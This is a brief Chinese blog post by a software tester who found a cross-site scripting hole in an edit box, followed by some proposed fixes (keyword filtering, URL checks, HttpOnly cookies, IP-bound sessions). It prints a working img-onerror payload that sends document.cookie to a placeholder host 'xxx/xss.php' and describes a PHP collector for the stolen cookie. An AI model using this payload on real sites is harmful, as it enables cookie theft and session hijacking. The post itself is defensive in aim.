最近在外派到外包公司,有时候需要负责测试系统
刚好本人对那些功能测试感觉比较乏味。对安全测试比较感兴趣。
发现项目中编辑框存在xss漏洞
只要构造
<img src="" onerror="javascript:jQuery.getJSON(‘http://xxx/xss.php?c=‘+document.cookie)" >(刚好该网站本身有引入jquery)
xss.php:把$_GET[‘c‘]保存到文件中
这样就能获取到用户cookie了。(在火狐上就算浏览器提示阻止了跨域,但是同样能够发起请求,不知道是怎么回事)
感觉出现这样的漏洞还是有点不可思议的。问题来了,要如何解决呢?
就是要对编辑框提交过来的内容做检查。
如何检查呢?
1、过滤javascript和document.cookie之类的关键字。(只过滤javascript和document.cookie之类的关键字,是不够的,还要考虑hacker到时候随便改个编码做点手脚会让你防不胜防。)
2、对src中的url也要进行严格检查(同第一点)。
3、为cookie设置httponly,这样可以使document.cookie获取不到想要的cookie
4、从另一个层面,那就是登陆的时候验证用户ip,存在session中。该session期间内用户每次请求都验证下ip是否一致(这个方法有个隐患就是用户的ip有没可能由于某种原因会在短时间内变动,而这种变动是非hack的)
目前想到的只有那么了。以后有想到再补充,先忙别的了。。。
以前写的相关博文:http://blog.sina.com.cn/s/blog_4d06da1f0100y9el.html
时间: 2024-10-13 05:09:59